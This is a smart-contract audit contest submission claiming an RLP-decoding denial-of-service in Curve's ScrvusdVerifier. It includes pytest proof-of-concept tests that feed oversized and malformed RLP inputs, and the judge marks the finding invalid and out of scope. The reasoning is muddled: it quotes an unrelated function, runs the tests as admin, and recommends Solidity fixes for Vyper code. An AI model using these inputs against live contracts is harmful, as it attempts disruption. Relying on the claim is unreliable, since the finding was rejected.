DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: high
Invalid

RLP Decoding DOS Vulnerability in ScrvusdVerifier Contract

SUMMARY:

The ScrvusdVerifier contract is vulnerable to a Denial of Service (DOS) attack through RLP decoding of large inputs. An attacker can craft a valid but extremely large RLP encoded header (10MB in the PoC) that will cause the transaction to fail due to excessive gas consumption. This can effectively prevent legitimate users from using the verification functionality.

##Vulnerbility Details:

@external
def update_price(
_parameters: uint256[ALL_PARAM_CNT], _ts: uint256, _block_number: uint256
) -> uint256:
"""
@notice Update price using `_parameters`
@param _parameters Parameters of Yearn Vault to calculate scrvUSD price
@param _ts Timestamp at which these parameters are true
@param _block_number Block number of parameters to linearize updates
"""
access_control._check_role(PRICE_PARAMETERS_VERIFIER, msg.sender)
assert self.last_block_number <= _block_number, "Outdated"
self.last_block_number = _block_number

The vulnerability lies in the update_price function at line 270-284 of ScrvusdOracleV2.vy. The function accepts unchecked parameters and processes them without size validation, making it susceptible to RLP-based DOS attacks.
The vulnerability specifically manifests in the following ways:

  1. Line 273: No validation of _parameters array size

  2. Line 274-275: No checks for timestamp and block number boundaries

  3. Line 277: State changes without proper input validation

POC / TestFile:

Save the test file in /tests/scrvusd/verifier/unitary
The test demonstrates that even with admin privileges, the transaction reverts due to gas limits when processing a large RLP header. This vulnerability could be exploited to:

  1. Block legitimate verifications

  2. Waste gas resources

  3. Potentially cause contract lockup

import pytest
import boa
from eth_abi import encode
from eth_utils import decode_hex, encode_hex
import rlp
def test_rlp_large_header_dos(verifier, admin):
# Generate a large but valid RLP header (10MB)
large_header = rlp.encode(b'A' * (10 * 1024 * 1024))
normal_proof = rlp.encode([b'valid', b'proof'])
with boa.env.prank(admin):
with pytest.raises(Exception): # Should revert due to gas limits
verifier.verify_period_by_block_hash(large_header, normal_proof)
def test_rlp_deeply_nested_dos(verifier, admin):
# Create deeply nested RLP structure
nested_data = b'data'
for _ in range(100): # 100 levels deep
nested_data = rlp.encode([nested_data])
normal_header = rlp.encode([b'normal', b'header'])
with boa.env.prank(admin):
with pytest.raises(Exception): # Should revert due to stack depth
verifier.verify_period_by_block_hash(normal_header, nested_data)
def test_rlp_memory_exhaustion(verifier, admin):
initial_gas = boa.env.vm.state.gas_used
# Generate multiple large RLP inputs
for _ in range(5):
large_proof = rlp.encode(b'B' * (5 * 1024 * 1024)) # 5MB each
header = rlp.encode([b'header'])
with boa.env.prank(admin):
with pytest.raises(Exception):
verifier.verify_period_by_block_hash(header, large_proof)
gas_used = boa.env.vm.state.gas_used - initial_gas
assert gas_used > 30_000_000, "Attack should consume significant gas"
def test_rlp_malformed_attack(verifier, admin):
# Create malformed RLP with invalid length prefix
malformed_rlp = b'\xb8\xff\x00\x00' # Invalid length prefix
header = rlp.encode([b'header'])
with boa.env.prank(admin):
with pytest.raises(Exception):
verifier.verify_period_by_block_hash(header, malformed_rlp)
@pytest.mark.parametrize("input_size", [1024, 10240, 102400])
def test_rlp_size_boundaries(verifier, admin, input_size):
# Test different input sizes to find boundaries
test_data = rlp.encode(b'X' * input_size)
header = rlp.encode([b'header'])
with boa.env.prank(admin):
try:
verifier.verify_period_by_block_hash(header, test_data)
print(f"Size {input_size} passed")
except Exception as e:
print(f"Size {input_size} failed: {str(e)}")
def test_rlp_complex_structure(verifier, admin):
# Test with complex nested structure
complex_data = [
[b'a', b'b', [b'c', b'd']],
[b'e', [b'f', b'g', [b'h']]],
b'i' * 1000
]
encoded_data = rlp.encode(complex_data)
header = rlp.encode([b'header'])
with boa.env.prank(admin):
with pytest.raises(Exception):
verifier.verify_period_by_block_hash(header, encoded_data)
@pytest.mark.slow
def test_rlp_stress_test(verifier, admin):
# Stress test with multiple calls
for i in range(100):
size = 1000 * (i + 1)
data = rlp.encode(b'Y' * size)
header = rlp.encode([b'header'])
with boa.env.prank(admin):
try:
verifier.verify_period_by_block_hash(header, data)
except Exception:
print(f"Failed at size: {size}")
break
def generate_valid_header():
# Generate minimal valid Ethereum block header
return rlp.encode([
b'\x00' * 32, # parent hash
b'\x00' * 32, # uncles hash
b'\x00' * 20, # coinbase
b'\x00' * 32, # state root
b'\x00' * 32, # transactions root
b'\x00' * 32, # receipts root
b'\x00' * 256, # bloom
(1).to_bytes(32, 'big'), # difficulty
(0).to_bytes(32, 'big'), # number
(2**24).to_bytes(32, 'big'), # gas limit
(0).to_bytes(32, 'big'), # gas used
(0).to_bytes(32, 'big'), # timestamp
b'\x00' * 32, # extra data
b'\x00' * 32, # mix hash
b'\x00' * 8 # nonce
])

Test Result:

$ pytest tests/scrvusd/verifier/unitary/test_rlp_vulnerbility.py -v -k "test_rlp_large_header_dos"
tests/scrvusd/verifier/unitary/test_rlp_vulnerbility.py::test_rlp_large_header_dos PASSED [100%]

IMPACT:

1.Denial of service to legitimate users
2.Excessive gas consumption
3.Potential contract unavailability
4. Risk to the entire verification system

Recommendations:

  1. Implement strict input size validation:

require(_block_header_rlp.length <= MAX_HEADER_SIZE, "Header too large");
  1. Add gas consumption checks:

uint256 constant MAX_GAS = 500000;
require(gasleft() >= MAX_GAS, "Insufficient gas");
Updates

Lead Judging Commences

0xnevi Lead Judge 2 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-missing-proof-content-validation

- See [here]([https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle)](https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle) on how it is used to verify storage variable - All state roots and proofs must be verified by the OOS `StateProofVerifier` inherited as `Verifier` (where the price values and params are extracted), so there is no proof that manipulating timestamp/inputs can affect a price update - It is assumed that the OOS prover will provide accurate data and the OOS verifier will verify the prices/max unlock time to be within an appropriate bound/values - There is a account existance check in L96 of `ScrvusdVerifierV1.sol`, in which the params for price updates are extracted from

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.